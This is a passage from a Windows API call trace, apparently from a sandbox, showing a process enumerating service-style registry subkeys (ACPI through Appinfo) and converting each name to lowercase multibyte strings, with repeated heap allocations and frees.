lpUsedDefaultChar=0x0) returned 8 [0173.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.110] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0173.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0173.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0173.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.111] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0173.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0173.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.111] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0173.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0173.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1d18, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0173.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.111] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0173.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0173.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.112] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0173.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0173.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.112] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0173.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0173.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.112] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0173.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0173.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0173.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.112] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0173.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0173.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.113] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0173.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0173.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.113] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0173.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0173.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.113] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0173.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0173.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.113] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0173.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0173.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.114] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0173.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0173.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.114] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0173.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0173.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.114] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0173.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0173.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.114] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0173.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0173.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.115] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0173.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0173.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.115] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0173.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0173.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.115] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0173.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0173.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.116] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0173.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0173.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.116] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0173.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 